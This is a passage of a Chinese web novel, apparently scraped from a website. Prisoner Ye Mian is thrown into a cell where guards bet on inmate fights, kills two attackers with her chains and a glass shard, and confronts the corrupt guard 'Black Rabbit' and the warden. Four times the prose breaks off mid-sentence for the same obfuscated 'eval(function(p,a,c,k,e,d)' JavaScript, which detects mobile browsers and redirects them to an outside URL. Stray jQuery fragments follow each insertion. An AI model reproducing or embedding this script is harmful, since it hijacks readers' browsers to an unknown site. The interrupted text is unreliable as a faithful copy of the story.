第一次进入C监,这座监狱比她想得要更宏伟一些。 她们首先经过9区,9区是一栋长条形的建筑,整体的色调是黑灰色的。 从9区底层走廊向上,一眼看不到屋顶,只能看到一片漆黑。很高的建筑,无法想象一共有多少层,容纳了多少人。 鞋底踩在地板上,脚步声回荡,但囚禁者的声音却听不到一分一毫。每间牢房外都有独立的钢板与电网,实时监控投影在外墙,叶眠能看到里面的人,睡觉的、发疯的、蜷缩不知死活的,总之,没有任何声响。 这就是寂静的重犯死囚9区,如果叶眠二判结果下来,她会被分配到这里。 三个穿着灰色制服的狱警,压着一个摇摇欲坠的囚犯从叶眠身边路过。 那人骨瘦嶙峋,囚服空荡荡地挂在身上,露出半个皮包骨的肩膀。他被狱警拽得一个踉跄,喉咙里发出一声痛吟。 “烟花姐怎么在这?”其中一个看到女狱警,亲亲热热地喊。 “送人。这是?” “6区的。纺织任务累计三天没完成,准备把他送到七人间呆两天。”另一人嬉皮笑脸,踹了一脚死囚的后背,叶眠感觉自己好像听到了骨折的声音,果不其然,那囚犯立刻开始惨叫。 “还叫!” 又一脚。 叶眠移开视线。 “烟花姐见笑啦,”开口的人语气依然友善,“今天的七人间可有意思了,三个非9区的犯人,这是个癌症晚期,快死了,还有一个残疾,能打的就剩个胖子,我都能预见到9区重犯的压倒性胜利了。” 叶眠心一沉。 “那个胖子,听说是头儿亲自抓来的,入狱之后一天日常指标都没做过,拿着病历当护身符了。”第三个人好像嫉恶如仇。 关键词重叠度太高了,叶眠嘴角下坠。 “我倒是觉得,光看9区虐非9也没意思,”烟花语气平平,“还是势均力敌更有趣。” “哈哈哈哈,烟花姐懂!但老猪下台,太久没见到大出血啦,生死台一关,兄弟们憋坏了。” 跟那三人错过,叶眠拽了拽烟花。 “七人间会死人吗?” “你说7001?大多数时候不会,”烟花说,“但如果太久没人出血,那些囚犯会揣测狱警的心情,故意下重手,弄些血腥给他们看。” 叶眠终于见到叶绵绵的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15813663|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间,很朴素的单间,地上的血迹已经被处理干净,看不出一周前的惨案。 6区跟9区比,气氛更缓和一些。牢房没有独立钢板,甚至可以跨房聊天。她隔壁坐着一个老头,靠在墙边闭目养神,没见胖子的身影。 “今天太晚了,明天我送你回医院。”烟花看了眼她的通行条,说完就要离开。 “拉米亚纳今天回来了吗?”叶眠抓住隔间的金属栏杆,语速飞快地问那个老人。 “没回。”他眼都没睁。 叶眠立刻转向烟花:“麻烦您,我想去7001。” 烟花皱眉,第一次见人上赶着找死的。她看了眼叶眠头上的绷带,隐晦地劝了一句:“你都听到了,今天会很惨。” “胖子是我朋友,”叶眠咬牙,“等我出去给您报酬。” “278号,我记得你是八十年?”烟花有些不屑,但还是拿出对讲,问了一声,“他们说正好六缺一,但你确定要去?” 叶眠点头。 今晚她不去,胖子是死局。 “不懂,”烟花咕哝着,重新打开了她的房门,“你们这些囚犯之间竟然也有点真感情。” “抱团取暖罢了。”叶眠叹气。 她们搭了顺风班车回到9区。登上电梯,烟花警告她:“9区的重犯基本都上过一轮生死台,他们下手很狠,虐杀那个站都站不稳的癌症晚期或者残疾人没有看头,你去了和那个胖子就会是他们的主要围剿目标。” “我懂,”叶眠点头,“禁制环不开是吧?” “又不是生死台,七人间只能算小消遣。”烟花按开电梯,两人走进9区13层。 “镣铐解开吗?”叶眠晃了晃手腕上的铁铐。 “当然不解。稍微特殊一点的多人牢房,又不是打黑赛。”烟花耐心耗尽,看到一个路过的狱警,顺手招呼,“七人间的,你带一下。” “烟花姐!稀客稀客,”那人满脸堆笑,“今天头儿亲自来了,您要不一起坐坐?” 他伸手来拽叶眠,叶眠一躲,咳了两声假装是碰巧。 狱警没察觉,依然热情:“这个伤了脑袋的,不会就是那个278吧?烟花姐竟然能从医院把人抓过来,哎哟,我得加压一手。” 烟花一听黑兔子在,犹豫了一下:“你带路,我看两眼就走。” 叶眠迷惑:278号这么出名吗? 烟花一手攥着她的手腕,狱警走在另一边,三人并排,叶眠旁听,逐渐摸清了C监“七人间”的规则。 ——他们利用了监狱规章的灰色地带。 一间牢房上限七人、未完成日常指标降低待遇,这些都有明文规定掩护。狱警胡萝卜加大棒,把“没说不行就是可行”用到了极致。 首先,他们往7001房放入9区重犯。如果重犯用暴力讨好狱警,回单人间后就能获得优待。这是死囚们为数不多改善生活的途径,因此他们不遗余力地利用血腥制造各种效果。 其次,如果非9区犯人团结,在多人间结束后会受到惩罚,这是弱者结盟的代价。毕竟只要有别人牺牲,就能保全自己,所以非9的博弈充斥在每分每秒中。 最后,开设赌局,压重犯是否能取得上风。赌注不大,但无聊的狱警很乐于在这种事情上争个胜负。 叶眠被推进7001的时候,烟花低声说:“希望你能活着出来。” 叶眠松了松手腕,和善地冲她一笑。 12. 第 12 章 “烟花?你怎么来了。”黑兔子好像有些惊喜。 但其实,从烟花进入13楼的那一刻,他就已经知道了——烟花要把278号送进7001。 为此,他刚发完一通火。 如果叶眠在场,一定能听出,这个黑兔子,就是她刚做完手术时,领着钢牙和老鼠抬走256尸体的那个“头儿”。 他长了张方脸,四十岁左右的年纪,看下半张脸一副老实的模样,但看眼睛却是满当当的算计,令人心生不适。 烟花从鼻子里嗤笑一声:“怎么,当了法蒙的狗腿子,他才允许你继续办你的小活动?” “比起萨利,法蒙确实是更好的狱长,”黑兔子不太赞同地说,“你为什么对他敌意那么大?” “给你放权就是好狱长,他怎么不让你接着办生死台,怎么不给你往上晋升,送你个副狱长之类的位子?” 在烟花看来,法蒙跟萨利都是一丘之貉,而C监风气永无肃清之日。 黑兔子脸色一沉:“我无意谋权。” “是不想,还是不能?”烟花笑了。 谁都知道C监自治,最上面管理层的位置可都是香饽饽,只可惜,普通人出身的黑兔子,一时半会儿看不到上位的可能。 这些年,他越发阴暗扭曲。自从在萨利手下拿到后勤部一把手的位置、不遗余力地按着萨利的想法做事,到现在,他已经完全被自己的所作所为同化。 烟花顺手从手边的烟盒里抽出一支,叼在嘴边。 旁边的狱警察言观色,立刻弯着腰给她点上——这位姑奶奶是外围保卫部的,不争权,但很能打,所以他们一般不会轻易招惹。 “下注吧,”她吸了一口,咬着烟嘴说,“给我压非9能活,五万。” 周围顿时哗然,黑兔子的表情也稍微一动:“压9,全杀,十万。” 烟花跟他对视一眼,读懂了他眼中莫名的胜券在握。 她有些奇怪:“完全不在乎死亡率了?” “不必担心。”黑兔子扶了扶鼻梁上的眼镜,笑了一下。 烟花移开目光,在心中默默地想:兔子,你真知道后果吗? 萨利为了控制死亡率,一个月只安排一次生死台。看看现在的7001,你是自信法蒙会睁一只眼闭一只眼,还是单纯膨胀过头了呢? 此时,7001里的叶眠正在打量这间特殊的牢房。 跟她预想中的铁笼单间不同,进门是类似客厅的空间。对面的墙上,两道紧闭的门连通着卧室,还有一道门是卫生间,门板上镶嵌着雾面玻璃,棕色油漆喷出一个“厕”字。 金属长椅,金属方桌,都被固定在地上无法移动。桌子上的餐盘外掉着点食物碎屑,灯光惨白,她没看到人。 叶眠抬头,在“客厅”四角发现了四台摄像机。 狱警就在监视器后面看戏。 客厅到洗手间门口有陈旧血迹,但不是三内天留下的。叶眠走过去,扭动把手,发现打不开。 她敲了敲门。 ——没有回声。 叶眠后退两步,打量着这道门,心里有了点想法。 她用指关节敲了敲玻璃外围,声音略有点闷,但似乎并不厚。 估摸着差不多能打碎,她将镣铐锁链缠在手上,直拳冲出! “你不要过……叶眠?”一声带着抖的暴喝,戛然而止。 胖子满脸伤痕,浅金色的发丝被血糊黏成一绺一绺的,眼周乌青肿起,把眼睛挤成了一条缝。他手里握着一根拖把杆,在看清来人后,长杆颓然落地,发出“咣当”一声。 “你怎么也……唉,完了。” 叶眠没料到他凄惨到这样,开始先愣了一下,然后心中就窜起一股无名火。 “谁打的?” 胖子迟疑:“什么?” 叶眠深呼吸,重新冷静下来。 根本没必要再问。 很显然,9区重犯还没到位,不然在她进门的那一刻,招呼过来的应该是9区犯人的拳头,而非安静祥和的空气,和一个只脸上挨了几拳的胖子。 把他打成这样的,只能是黑兔子,或者是在他授意下的狱警。 她撤出洗手间,推开卧室的门,瞥了一眼墙角的监控。 因为刚刚叶眠果断打破玻璃的行为,监控室里窃窃私语的声音越来越大。 黑兔子皱眉,问旁边的人:“9区的人,还没到吗?” “马上到,马上到,”被问话的狱警立刻回答,“五分钟内。” “今天选的都是以前喜欢虐杀的死刑犯,”他把头凑近,压低声音:“已经按您说的,给他们……” 黑兔子看了眼一无所觉的烟花:“行。” ——他不会输。 相反,好不容易在他的场子里对上烟花,他急切地想赢得漂亮,并且让她看清楚,C监是如何受他掌控,这些犯人是如何如同玩偶,为了讨他欢心、不择手段。 他把视线投向画面中的278号——那个法蒙曾点过一句特殊关照的犯人,压下了心中最后一丝不安。 叶眠自然不知道外面发生的事。 她在第一间卧室看到了那个瘸子,他的右腿从膝盖以上被整个截断,跟叶眠对上视线的时候,他嘴边还带着点食物残渣,满脸仓皇。 然后她又在第二间卧室看到了那个癌症晚期的病人,后者躺在床上一动不动,如果不是胸前还有轻微起伏,叶眠以为他死了。 两间卧室的布局都一样逼仄,各有两张上下床。显然这两个人深谙“鸡蛋不能放在同一个篮子里”的道理,但等重犯到位,结果大概并不会因此改变。 “叶眠,你不是应该在医院吗?”胖子跟在她后面,十分不解,“为什么会在7001?” 叶眠没吭声:救你,我亲爱的朋友。 “完蛋了啊,”胖子看着她关上房门、回到客厅的举动,满脸死志,如丧考妣,“今天有三个9区重犯,你来也是送死。” “时间紧迫,我们得列个计划。”叶眠说。 计划? 胖子没懂,但他听懂了她的潜台词:还没完。 “怎么说?” “我能杀掉赏金杀手256,所以,身手还算不错。”叶眠晃了晃手上的镣铐,在打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15813664|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破厕所门板的时候,她手上破了皮,血色蹭在银手镯上,晃过胖子的眼睛。 “你跟一个重犯单打独斗当然没问题,但对面有三个战力,我们加起来,顶多算一个半,”胖子实在地说,“我最多算半个。” “不需要你打败一个,只要能拖住一个就好。”她说,“他们三个一起进门,我秒杀第一个,你拖住第二个,等我杀了第三个,再来帮你。” 好……好简洁的计划! 胖子懵了懵,还没来得及开口质疑,叶眠已经在给他讲动作要领了:“主要注意控住他的手,把他压倒,依靠你体重上的优势。我先出手,自然会吸引他的注意力,你从侧面进场,最好能把他扑倒。” “制住对手,并保护自己不受伤,明白?” 胖子咽了下口水:“明白。” “相信你自己,也相信我。”叶眠说。 她走进无法锁住的洗手间,捡起那根卸掉拖把头的木杆,塞回门口的胖子手里:“看情况用。” 就在此时,牢房门被缓慢推开。 人还没进来,轻飘飘的半句话先传到两人耳边。 ——“C监比外面还自由,我爱死这里了。” 9区重犯鞋尖刚跨过门框,叶眠同步轻盈弹起。 第一脚,直奔下盘。 目标,膝窝! 然而,对手跟上了她的速度。 在意识到受袭的同时,他判定膝盖受伤在所难免,硬是稍微扭身、重心下压,他忍着痛意,用一个不太好看的动作,完成了缓冲。 胖子跟他身位交错,按计划扑向第二个犯人,竟然打出了视死如归的气势。 叶眠一击不成,立刻更改策略。 对手身体强度比她高,但他膝盖剧痛、无法下蹲,所以最佳突破口,仍是下盘! 她身体伏低,几乎是贴地滑行,重新拉近后,伸腿横扫。 目标,脚踝! 好刁钻的攻势! 对手心中凛然,仓促抵挡,但他两手一翻,竟是抓住她脚踝,一扯! “抓到你了!”他眼神狠辣,开口时齿间银丝粘连,仿佛黏糊的蛛线。 叶眠被拽到悬空,两人视线相接。犯人话音刚落,心中警铃大作:她居然毫无波动,看他的眼神像在看死人。 明明落入劣势,为何面不改色? 叶眠胸腹大敞,仿佛无所顾忌。 犯人双目一瞪:机会! 不对! 双手刚被占用,他来不及改招攻击,是陷阱! 在发觉她意图的那一瞬间,他好像被烫到一样松开双手,但破绽转瞬即逝,慢一招、满盘皆输。 叶眠躯干发力、迅速蜷起身体,像蛇一样贴了上来。 ——她靠对方的攻击完成了拉近,甚至来得及调整发力姿势。而她挂着铁铐的手,从头到尾都是自由的。 重犯后仰,试图躲避,但叶眠铁镯之间的链子迅速放收,精准套中了青筋暴起的脖颈。 两人完全相贴,仿佛一个亲密的拥抱。 “谢谢配合。” 叶眠说完,两手交叉,勒紧! 13. 第 13 章 绞杀结束,第一个犯人的身躯重重砸到地上,发出一声沉闷的撞击声。叶眠起身,松了松被铁链勒出红痕的手。 监控室内,黑兔子稍微偏头,转向一旁。 刀子一样的眼神落到脸上,带来一种火辣辣的痛感,负责安排名单的狱警只能把头低得更狠:“他们三个……实力确实也有差距……” 黑兔子声音很低,甚至带着点轻柔笑意:“那么,被胖子控制住的废物,还有被278几乎秒杀的垃圾,跟我们最后剩下的‘独苗’相比,实力相差多少呢?” 但狱警脸颊一滴冷汗,无声无息地滴到了桌子上。 “头儿,我保证,”他咽了口唾沫,“他绝对比前面两个强很多。” “我不在乎这十万块,”黑兔子伸手帮他理了理衣领,像个和善的领导,“但是,别让我在她面前丢脸。” 他五指骤然收紧,狱警连声答道:“是,是……” 7001内,胖子死死地压在中间的矮个犯人身上,效果出乎意料的好。 脸上冒汗,流到眼睛里、浸入伤口里,但他忘了疼,也完全没意识到矮个脸色发青,几乎是出气多进气少。他紧张到不停讲话:“没事儿,放松,没事儿,过会儿有你的机会,别急。” 门口站着的第三个人,旁观他们动手,毫无作为,直到现在。 “叶绵绵,”他清晰地喊出了这个名字,歪了歪头,语气好奇,“就是你,杀了刘毅吗?” “谁?”叶眠警惕地问。 刚刚就是这个声音,说了一句C监比外面自由,所以其人秉性如何,可想而知。 “我是刘勇,赏金杀手排行第97,”他走近,直接无视了地上求救的矮个,满眼兴味,目标只有叶眠,“刘毅是我弟弟,或者你更熟悉他在C监的号码,256号。” 叶眠瞳孔微缩。 ——是他,叶绵绵杀的最后一个人。 监控室里,黑兔子正在听狱警的解释:“……刘毅实力比他哥弱,刘勇身份暴露被抓入狱后,他冒用刘勇的名号,想赚钱捞人。一个多星期前,他主动把自己送进了C监,不清楚是为了什么,没想到兔子急了也会咬人,结果就是翻了车……这事被刘勇知道了,他主动要求会会叶绵绵。” “赏金杀手前百,”黑兔子摩挲着下巴,微微一笑,“这才像话。” 哪怕那个278号技术再高,也打不了前百的专业杀手。 狱警也看着监控里的画面,说:“他在黑网当杀手,干得束手束脚,但是在C监的环境里,他反而如鱼得水,之前上过两次生死台,在7001也杀过几次人,278号对上他绝对讨不着好。” 叶眠正跟刘勇对峙。 “是我杀的,”她干脆地说,暗中调整呼吸,“但是事出有因。” “有不有因,不归我管,”刘勇说着,终于放下了作态假面,杀意爆发,“我只要你,偿命!” 他也带着镣铐,但招数却大开大合,出拳如风,指节擦过了叶眠的太阳穴,带起了一道血线。 好快的速度! 叶眠后仰避开连续攻击,看准一个气口,链条哗啦一响,她屈膝撞向刘勇腹部,对方用膝盖在半空截住。 骨肉相撞的闷响中,叶眠的镣铐链条绷直,和刘勇的铁链绞在一起,两人手臂肌肉因角力而颤抖。刘勇突然拧腕,铁链“咔”地卡进叶眠腕骨缝隙,鲜血立刻顺着银链滴落。 叶眠咬牙,刚准备放弃正面对抗,结果刘勇突然暴起,镣铐的一半竟从他左手手腕脱落——锁扣被做了手脚! 他自己就能打开! 叶眠心中一震,但表面毫无异色。 她第一时间全力后撤拉开,但还是没能完全躲掉。铁链如鞭,抽中叶眠手臂,一道深刻血痕出现。 她受镣铐局限,甚至无法用另一只手捂住伤口,只能踉跄后退几步,停在墙壁之前。 刘勇甩着解脱的右手,五指不断弯曲伸直,仿佛在把玩匕首之类的短刀具,保持着他作为杀手的手指灵活性。而他的左手手腕还挂着做戏的半副镣铐,一晃一晃,反射着银光。 “本来没想到这一步的,但黑兔子想看你被玩死的样子……”他舔了舔嘴唇,露出一个兴奋又狰狞的笑容,“而且,我也不想看到你再活那么久了。” 他甩着金属链冲来,那不再是困锁他的镣铐,而是不会脱手的武器。在这个金属器具都受固定的房间里,这半副金属手铐,无疑是最大的杀器。 监控室里的人目睹了一切。 所有人都知道,这是违规的。 手铐打开了,但警报并没有启动。烟花豁然起身,眼神没有离开监视器,也有其他人大着胆子偷瞄黑兔子的神色,而那张脸仿佛焊上了平静的面具,不肯露出任何马脚。 “如果这件事捅到法蒙那里,兔子,”烟花在监视器中两人拉开距离后,把脸侧向了黑兔子,“你现在拥有的一切特权,都会化为乌有,甚至更严重一点,你会被告上审判庭。” 黑兔子突然笑了:“你在心疼我吗,烟花?” 他也起身,站到了烟花的身边,保持着近乎耳语的亲密距离,把几个带着余温字眼送到她心头:“离婚这么久,你还会担心我吗?” 有那么一瞬间,烟花以为自己听错了。 ——毕竟这世界上,鲜少见到如此厚颜无耻之人、没有d数之人。 “……我以为你会有些长进,”她放弃了跟他争辩的想法,“但我错了。不要活在自己的世界里了,睁开眼睛看看吧,什么是现实、什么是正确。” 黑兔子不慌不忙地看过监控室大家的脸色,甚至有些自得地说:“这就是现实,我创造的现实。” “那她呢?”烟花指了指监控屏幕,“这也是你选择的现实吗?” 画面内,叶眠双手短暂拢住了刘勇的脖子。后者一脸不可置信,但颈侧血液不断涌出,染红了叶眠的手指,也染红了他的衣领。 黑兔子得意的表情凝固在上一秒钟,滑稽得像是被人按下了暂停键。 “不……不……” 他终于行动了,三两步冲到显示屏前,抓住屏幕边缘,手指因发力而泛白。 他的震惊不亚于被叶眠杀掉的刘勇,甚至更有过之。 “这怎么可能!” 其实,监控室里有几个人看清了叶眠的动作,但没人知道,她到底是什么时候拿到了玻璃碎片,怎样把玻璃碎片藏在身边,又是如何决定把自己的脖颈送入对方手中,在窒息休克的边缘,一击反杀! 时间拨回到一分钟前。 叶眠看着仿佛已经确定胜利的刘勇,却偏头给了胖子一个安抚的表情。 胖子的焦躁被迅速地抚平,他想:反正我帮不上叶眠,那至少,这个明显弱势于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15813665|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的矮个子,还是可以处理掉的。 刘勇不满:“这种时候,你竟然还有空想别的?” “当然,我还能想到你弟弟,”叶眠说,“他外凸的双眼,惊恐的表情,不甘的、大张的嘴……” “闭嘴!”刘勇的表情彻底变得暴戾失控,“他已经很谨慎了,接的任务都是比较简单易于完成的,而你背后的人,散布虚假信息,害他来监狱送死!” 我背后的人? 叶眠心想,我的背后空无一人,只有胖子在前面,一招泰山压顶,已经压了一刻钟了。 “他可不是送死,他想杀我在先,”叶眠继续说,“事出有因,我只为自保。” “任务对象没有发言权,”刘勇猝然加速,“他没完成的任务,由我来完成!” 叶眠垂着手,任由他抓住了自己的脖子,把自己提离了地面。 窒息的感觉并不好受,心跳加快,口鼻刺痛。 她脑袋上的刀口久违地开始疼痛,那是因为血压,泵起的血液涌上头顶,眼前阵阵发黑。 “他给你留了一句话……”叶眠用混着嘶声的气音说。 明知这是她最后的挣扎,但刘勇的自信让他认为局势已经完全在自己的掌控之中。对手脆弱的脖子被自己锁住,只要再用力一些就能折断。 他语气闲适,仿佛戏弄:“说。” 两人之间的距离拉近了五公分。 叶眠垂在身前的手突然上甩,划出一道弧线。 在刘勇的视角中,这段距离不够叶眠用出绞杀,他很安全,所以他躲避的幅度有限,同时。他手中发力,只要两秒,他就能掐死这个杀了他弟弟的仇人。 然而,事情发展跟他想得并不相同。 疼痛传来,这不是人类指甲能制造出的效果,而是真正的利器割破了他的脖子。 血液喷溅,带走了他的力气,也带走了他的意志。刘勇失控地松开了对叶眠的桎梏,他一手捂住脖子,脸色从讶然转到惊惧,终于,在他低头看清一手血红的瞬间,他目眦欲裂! 是什么?! 在这间牢房里,为什么会有能轻松划破皮肉的武器! 他猛然抬头,虽然腿部已经几乎撑不住身体,但他表情可怖,死死盯住叶眠。 叶眠刚猛烈地咳嗽了一阵,出于谨慎,她跟刘勇拉开了距离,并且利用走步,巧妙地跟他、胖子站成了一个三角形。 “既然你作弊了,怎么不允许我开挂。”她稍微哑着嗓子说。 是什么?! 叶眠看得出他的执着,无奈地摇摇头,伸手,亮出一块被浸成红色的玻璃残片。 刘勇如遭重击,他猛地看向洗手间门口,那一地碎玻璃,反射着惨白的灯光。 在监狱里呆了太久,原本磨练到敏锐的战斗直觉悄然退化,他终于意识到——自己懈怠了。 力气逐渐流逝,他撑不住了,下一秒,这位昔日榜单前百的杀手跪倒在地。 叶眠若有所思:“说真的,谁会来暗杀我呢?不过,谢谢你的提醒,我以后会多关注一下黑网上的信息的。” 她脚步轻快地走到已经几乎失去意识的刘勇身边,稍微抹了抹三角形碎片上的血,利落而无情地补刀,彻底结束了他的生命。 “你别说,还真巧了,叶绵绵杀的最后一个人是你弟弟,而我开刀的第一个人,是你。” 14. 第 14 章 在胖子震撼又钦佩的眼神中,叶眠单手扶墙,弱不禁风地咳了两声。 “喂!” “好了好了,”叶眠笑了,“你单挑赢了,他昏过去了,不用我了。” 胖子低头一看,果然那人没了动静,双眼紧闭。 他挠了挠头,从地上爬起来,似乎还没从劫后余生的惊险情绪中脱离:“这就完了?我不用遭罪了?” “不用了,”叶眠抬头看了看监视器,“会有人守护程序正义的。” 是吧,烟花。 监控室内,从刘勇跪倒的那一瞬间开始,原本紧张的气氛就变为了死寂。 烟花指尖无意识摸过枪套:“那么,没问题的话,我就去接人离开了?” 按照监狱的规则,同室斗殴产生恶劣伤害,应暂停禁闭,优先送医。 黑兔子的眼睛里只剩疯狂:“你会告发我吗?” 烟花摇头:“我怎样,不重要,重要的是这一屋子人里,只要有一个上报实情,典狱长就不会轻拿轻放。” 黑兔子能把这个娱乐项目发扬光大,主要因为暗合狱警们心意,所以他们乐得捧他臭脚。而现在,明晃晃的严重违规摆在眼前,知情人参与者数量过大……反噬,即将到来。 “违规、越权、蔑视人道主义、虐待犯人……”烟花没有继续说下去。 一个心腹凑近:“头儿,这几天典狱长没给我们派任务,会不会……” 深不见底的眼神扫来,他阴森森地开口:“你也要劝我写自首信吗?” 烟花摇摇头,悄无声息地离开了监控室。 ——黑兔子这样的人并非个例,碌碌追求半生,不自觉走了歪路,被提醒还执迷不悟。 她想:明明一开始结婚的那个人,眼神清澈、心怀正义,怎么落到这一步的呢? 走到空无一人的7001门口,她在电子锁中输入密钥,牢房大门打开。 叶眠靠在墙壁上,闻声抬头:“黑兔子怎么样?” “一眼看得到头了。” 说的是他的仕途,也是他的生命。 烟花想了想,又补充:“也不一定。万一他回心转意自首,把责任往萨利身上推,可能不会被判死刑。” “那不好,”叶眠立刻说,“我看还是得死刑,你觉得呢?” 烟花默了默,不知道是她过于敏锐,还是歪打正着。 “无论结果,都是他应得的。”她说。 叶眠招呼胖子:“走吧,我们回医院。烟花姐会把我们送回去。” 烟花看了一眼时间,还有两个小时天才亮,但是话都到这了,她也没说别的。 三人一路无言,过了检查站。 烟花把通行条叠起,说:“剩下的,我就不送了。” “烟花姐,”叶眠认真地说,“多谢你,但是黑兔子的下场只会也只能是死刑。” 黑兔子代表着C监狱陈旧的黑势力,他不死,就会有下一个心存侥幸的红兔子、蓝兔子出现。私人恩怨放在一边,这是原则和纪律问题,不容模糊。 叶眠准备找法蒙告状。 “不知道你怎么猜到的我们关系匪浅,也不知道是什么给了你‘我对他余情未了’的错觉,”烟花整理了一下衣领,又摆正了腰间的枪口,心平气和地说,“我一向对事不对人,但兔子,他确实烂到根了。” 叶眠跟胖子穿过那段高墙下的水泥路,她身上披着探照灯的光亮,仿佛加冕的长袍。 烟花站在原地,看着她俩一胖一瘦的背影,从口袋里掏出烟,在天亮前的冷风里,就着颤颤巍巍的火,点上。 烟头一点红光驱散了一小片黎明前的薄雾,她沉默地抽完一支烟,转身回了检查站。 “……扶我一下。”叶眠伸手。 胖子一愣,但还是照做。 “我好晕,”叶眠喃喃地说,“头痛。” 打架打得太爽,忘记自己还是个伤员了。 胖子:“去急诊吗?” “回病房就行,我等早上护士来,”叶眠有点累,“好想睡觉。” 胖子絮絮叨叨:“叶眠你不要有事啊。” 叶眠躺到床上:“不至于,我睡了。” 只能说,今晚有惊无险,好在一切顺利。 - 叶眠睁眼,就看到了护士熟悉的表情——三分谴责,三分担忧,四分恨铁不成钢。 “要去拿东西?拿了什么回来?”护士嘴不留情,“拿了个被揍成猪头的朋友回来。” 叶眠一动,就发现自己的头上似乎上了外支撑架。她小心翼翼地伸手摸了摸,眼睛瞪大:“我怎么顶着一个铁架子?” “塑形器被提前吸收完了,只能用外框架支撑一下了,”护士无情地说,“昨晚又打架了?这次杀了谁?” 叶眠想起这个,竟然还有点眉飞色舞:“赏金杀手榜第97,知道吗?单杀欸。” 另外两个生死不知的就随便了。 “那你还挺厉害,”护士“哼”了一声,“今天老实躺着,不许出病房。” 叶眠眨眨眼:“姐,我想联系个人,借我终端用下?” “谁?” “典狱长。我突然想起来,我有他的间接联系方式。” 叶眠成功联系上了沈舒云,并且拜托她代为转达:C监278号约他病房一见,括号,因为他的管理不当所以重伤版,后括号。 叶眠不知道,这句话得先从沈舒云转达给沈舒白,然后才能到法蒙手里。 沈舒白有点不可思议:“她竟然通过我姐联系我?还有,你不是让她当你的卧底吗?” 法蒙:“特制终端还在赶工。” 沈舒白:“那你给她个普通的先用着不行吗?作为你的下属,联系你还要借用别人的终端,再过两张嘴,才能传到圣听。” “她是囚犯。”法蒙淡淡地说。 他人已经在去C监的路上。 “……得了便宜还卖乖,”沈舒白说,“我们都知道,她杀的是谁。” 这些小插曲叶眠自然不知,她只知道,第三次见到法蒙是在自己的闺房。 写作闺,读作病。 “老大,你知道你手下在虐待犯人吗?”她窝在被子里,头上顶着一个铁架子,连动都不能动。 法蒙皱眉:“怎么把自己搞成这样了?” 上次见面还是活蹦乱跳的。 “我的问题,你还没回答,”叶眠笑得眼里毫无笑意,“所以,你知道吗?” “……知道一点。”法蒙没有说谎。 “那你知道,他已经能做到解开罪犯手铐,把人放进多人牢房,看他们厮杀、搏斗,让狱警们下注供他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15813666|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们取乐吗?” “没那么严重,”法蒙说,“做错事的人需要惩罚。” “哪怕是虐杀?哪怕纵容私人恩怨?”叶眠冷笑,“所谓‘没那么严重’,就是我亲历一遍,然后被你轻飘飘一句带过吗?” “金属镣铐内置报警程序,”法蒙说,“不可能有人摘了镣铐而我一无所知。” “你就是一无所知,”叶眠毫不客气,“查查7001的监控吧,查查监控室的监控吧,虽然有可能已经被人为覆盖掉了,但我说真的,放权只会纵容那些视规则为废纸的人。” 法蒙心中半信半疑,袖子里的手指微微捏紧。 就在这时,终端响起。 ——正是黑兔子的消息。 “让我猜猜,是不是黑兔子的自首信到了?”叶眠说,“他是不是把自己痛骂一顿,请求革除官职?大事化小小事化了,如果我没要求见你一面、讲清楚这些,你是不是还会觉得,C监的狱警只是犯点小错、翻不出什么事情?” 黑兔子收敛地讲述了昨夜这场“事故”的首末,比对叶眠的口供,法蒙不难看出孰是孰非。 “犯人和狱警,”叶眠说,“现在,你觉得这二者谁更高尚?” 法蒙收起终端,终于说:“我会查看监控备份,如果是按照你的说法,此事确实是我失职。” 他注意到她脖子上的掐痕,红棕色的印子留在白皙的皮肤上,十分扎眼。 “你是自愿成为典狱长的吗,法蒙?”叶眠问。 他没回答。 “如果不是,希望你能把这个位置让给更合适的人。”叶眠说。 她的语气不像玩笑,但内容又着实胆大包天:“这里需要一些新鲜空气,不需要尸位素餐。” 叶眠就差指着法蒙的鼻子骂了:你眼里只有反抗军,近处的矛盾和问题却视而不见,这就是你的责任心吗?你当个锤子的典狱长。 